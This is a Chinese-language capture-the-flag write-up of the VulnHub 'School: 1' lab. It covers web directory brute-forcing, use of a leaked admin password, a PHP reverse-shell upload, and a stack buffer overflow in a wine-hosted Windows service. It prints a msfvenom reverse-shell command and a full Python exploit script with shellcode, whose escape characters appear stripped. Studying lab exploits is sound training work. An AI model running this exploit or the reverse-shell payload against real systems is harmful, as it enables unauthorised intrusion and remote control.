Linux下wine运行Windows服务的缓冲区溢出

admin 2021年2月18日16:52:50评论50 views字数 4667阅读15分33秒阅读模式
Linux下wine运行Windows服务的缓冲区溢出

本文为看雪论坛优秀文章

看雪论坛作者ID:WindyMan



这是vulnhub里一个非常有意思的靶机,下载地址是https://www.vulnhub.com/entry/school-1,613/。
    
这个靶机是Linux系统的,取得用户shell的难度是初级,但是取得root shell需要对wine运行的windows程序进行溢出攻击。
    
首先,加载靶机到VirtualBox,运行后取得IP地址,并用nmap进行扫描。   
Linux下wine运行Windows服务的缓冲区溢出
经过一番测试,除了80端口,其它端口目前都没有发现什么。用浏览器打开靶机,发现直接跳转到http://192.168.56.12/student_attendance/login.php    Linux下wine运行Windows服务的缓冲区溢出
测试了几个弱口令,无法登录。开始爆破网站目录,发现了一些文件和文件夹。
gobuster dir -u http://192.168.56.12/student_attendance/ -t 50  -x .php,.html,.txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 403,404

Linux下wine运行Windows服务的缓冲区溢出

经过一番浏览,在database文件夹里发现一个student_attendance_db.sql文。
Linux下wine运行Windows服务的缓冲区溢出
下载下来以后,查看其中的内容,发现了2个用户名和密码。
Linux下wine运行Windows服务的缓冲区溢出在线解出admin的密码为admin123。随后用这个用户名和密码登录刚才的界面,进入一个控制面板。 
Linux下wine运行Windows服务的缓冲区溢出
在这个控制面板进行查找后发现,并没有可以利用的地方。这里,查看一下页面源代码,发现有一处很特别的注释。
Linux下wine运行Windows服务的缓冲区溢出
这说明后台很有可能有一个site_settings页面,但是被注释隐藏了。我们直接在地址栏里输入http://192.168.56.12/student_attendance/index.php?page=site_settings尝试访问,果然来到一个新的界面。最重要的是,有上传文件按钮。
Linux下wine运行Windows服务的缓冲区溢出
我们选择上传一个php的反弹shell,同时监听相关端口,随后得到了用户shell。
Linux下wine运行Windows服务的缓冲区溢出
发现靶机有两个用户,fox和ppp。在fox的home目录下,找到了用户flag。又经过一番探索,包括查找SUID、可写文件、getcap等操作,没有发现可以利用来提权的地方。但是发现一个有意思的地方,就是www-data用户可以进入 /root目录,虽然目前无法读取root的flag,但是发现一个有意思的文件。 
Linux下wine运行Windows服务的缓冲区溢出
查看win文件的内容,发现这一个可执行脚本,用处就是不断地用wine执行access.exe程序。
   Linux下wine运行Windows服务的缓冲区溢出
那么这个程序肯定是在运行的,ps aux|grep access.exe无法查看PID,且netstat -tlnup也无法显示相关端口对应的PID,估计是权限太低的原因。   
Linux下wine运行Windows服务的缓冲区溢出
我们把access.exe下载到本地的windows上运行后,发现该程序运行在23端口。因此,可以判断靶机里的23端口正是wine运行的access。(其实,后期在反汇编中可以很清楚地看到access.exe的端口号。  
Linux下wine运行Windows服务的缓冲区溢出
我们在本地的windows上运行access.exe程序,并尝试用nc连接。连接后输入字符串。当字符串长度较小时,程序运行正常,当字符串长度较大时,access.exe程序就会退出。初步猜测,这应该是一个缓冲区溢出漏洞。
Linux下wine运行Windows服务的缓冲区溢出
经过反复测试,可以得出,当字符串长度为1902时,是access.exe可以正常运行的最大输入字符串长度。为了进一步确认字符串溢出的位置,我们使用x32dbg(因为程序是32位的)和IDA来确认程序出错的位置。首先,我们用python生成溢出字符串,这里我们先生成1902个'a'和4个'b'。   
Linux下wine运行Windows服务的缓冲区溢出
用x32dbg加载access.exe,按几次F9后让服务端运行起来,然后在客户端输入刚才的溢出测试字符串,这时程序中断在004018E7处,且状态栏显示“异常于62626262“,这正是我们刚才输出的测试字符串中的'bbbb"。说明1902个'a'正好将程序分配的堆栈全部占满,'bbbb'占据了调用函数返回值的地址(见右下角堆栈视图)。   
Linux下wine运行Windows服务的缓冲区溢出
经过几次调试跟踪,我们发现,程序错误出现在access.exe程序的004018CE处(_f3)。   
Linux下wine运行Windows服务的缓冲区溢出
使用F5可以更清楚看到,这就是个strcpy调用,其中,预留的缓冲区大小0x76A,转换成10进制,正好是1898,再加上4个byte的参数的位置,正好是1902。

下面,开始形成我们的溢出思路。我们是无法像在本机调试一样去调试靶机的程序的,唯一的途径就是通过连接23端口,输入数据,而相关数据均保存在堆栈中。因此,我们要将shellcode输入给access.exe,同时,让access.exe溢出后,能执行我们的代码。有时,需要在返回地址和shellcode之间放一些代码,以保证对齐要求,但是本例中没有必要。   
Linux下wine运行Windows服务的缓冲区溢出
下面遇到的问题,就是如何让返回地址指向我们需要执行的代码?由于返回地址弹出后,堆栈指针esp指向shellcode的顶部(或nop指令的顶部),最简单的方法就是jmp esp,这样就可以接着跳转回堆栈中执行,但这句jmp esp指令必须是在原程序中,而我们返回地址只能指向jmp esp这句指令的地址。我们在access.exe中未找到jmp esp,但是发现,它还有一个动态加载的dll:funcs_access.dll。 
Linux下wine运行Windows服务的缓冲区溢出
用IDA打开funcs_access.dll文件,发现了其中就有我们需要的指令,而且不止一处。
Linux下wine运行Windows服务的缓冲区溢出
下面就是返回地址的确定,IDA已经显示出来了,dll动态加载后,jmp esp的地址是0x625012D0。在x32dbg中,加载access.exe后,   
Linux下wine运行Windows服务的缓冲区溢出
这里还有一个坑,就是access.exe程序里,对客户端的输入字符串进行了过滤,有一些字符是不能使用的,注意在生成shellcode时,这部分字符串不能使用。
    Linux下wine运行Windows服务的缓冲区溢出
shellcode使用msfvenom生成,命令是
   msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -b 'x00x0ax4dx4fx5fx79x7ex7f' -f python

下面就可以编写溢出程序了,完整的python代码如下:
 
#!/usr/bin/python3import socketbuf=b''target_ip='192.168.56.12'target_port=23recv_buf=4096junk = b'a' * 1902ret_addr=b'xd0x12x50x62'#nops=b'x90'*32   可选buf += b"x33xc9x83xe9xafxe8xffxffxffxffxc0x5ex81"buf += b"x76x0exe1xa8xa3x85x83xeexfcxe2xf4x1dx40"buf += b"x21x85xe1xa8xc3x0cx04x99x63xe1x6axf8x93"buf += b"x0exb3xa4x28xd7xf5x23xd1xadxeex1fxe9xa3"buf += b"xd0x57x0fxb9x80xd4xa1xa9xc1x69x6cx88xe0"buf += b"x6fx41x77xb3xffx28xd7xf1x23xe9xb9x6axe4"buf += b"xb2xfdx02xe0xa2x54xb0x23xfaxa5xe0x7bx28"buf += b"xccxf9x4bx99xccx6ax9cx28x84x37x99x5cx29"buf += b"x20x67xaex84x26x90x43xf0x17xabxdex7dxda"buf += b"xd5x87xf0x05xf0x28xddxc5xa9x70xe3x6axa4"buf += b"xe8x0exb9xb4xa2x56x6axacx28x84x31x21xe7"buf += b"xa1xc5xf3xf8xe4xb8xf2xf2x7ax01xf7xfcxdf"buf += b"x6axbax48x08xbcxc0x90xb7xe1xa8xcbxf2x92"buf += b"x9axfcxd1x89xe4xd4xa3xe6x57x76x3dx71xa9"buf += b"xa3x85xc8x6cxf7xd5x89x81x23xeexe1x57x76"buf += b"xd5xb1xf8xf3xc5xb1xe8xf3xedx0bxa7x7cx65"buf += b"x1ex7dx34xefxe4xc0x63x2dxd9xccxcbx87xe1"buf += b"xb9xffx0cx07xc2xb3xd3xb6xc0x3ax20x95xc9"buf += b"x5cx50x64x68xd7x89x1exe6xabxf0x0dxc0x53"buf += b"x30x43xfex5cx50x89xcbxcexe1xe1x21x40xd2"buf += b"xb6xffx92x73x8bxbaxfaxd3x03x55xc5x42xa5"buf += b"x8cx9fx84xe0x25xe7xa1xf1x6exa3xc1xb5xf8"buf += b"xf5xd3xb7xeexf5xcbxb7xfexf0xd3x89xd1x6f"buf += b"xbax67x57x76x0cx01xe6xf5xc3x1ex98xcbx8d"buf += b"x66xb5xc3x7ax34x13x53x30x43xfexcbx23x74"buf += b"x15x3ex7ax34x94xa5xf9xebx28x58x65x94xad"buf += b"x18xc2xf2xdaxccxefxe1xfbx5cx50"payload = b''payload += junkpayload += ret_addr#payload += nopspayload += bufwith socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:    clientSock.connect((target_ip,target_port))    data_from_srv = clientSock.recv(recv_buf)    print(f"Reply --> {data_from_srv}")    print(f"Sending --> {payload}")    clientSock.sendall(payload)

最后运行测试。一个终端开启4444端口的监听,另一个窗口运行exp.py。成功反弹回shell。
Linux下wine运行Windows服务的缓冲区溢出
最后就是显示root flag了。

Linux下wine运行Windows服务的缓冲区溢出



Linux下wine运行Windows服务的缓冲区溢出

- End -


Linux下wine运行Windows服务的缓冲区溢出


看雪ID:WindyMan

https://bbs.pediy.com/user-home-722051.htm

  *本文由看雪论坛 WindyMan 原创,转载请注明来自看雪社区。




# 往期推荐





Linux下wine运行Windows服务的缓冲区溢出
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



Linux下wine运行Windows服务的缓冲区溢出

球分享

Linux下wine运行Windows服务的缓冲区溢出

球点赞

Linux下wine运行Windows服务的缓冲区溢出

球在看



Linux下wine运行Windows服务的缓冲区溢出

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):Linux下wine运行Windows服务的缓冲区溢出

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年2月18日16:52:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux下wine运行Windows服务的缓冲区溢出https://cn-sec.com/archives/268331.html

发表评论

匿名网友 填写信息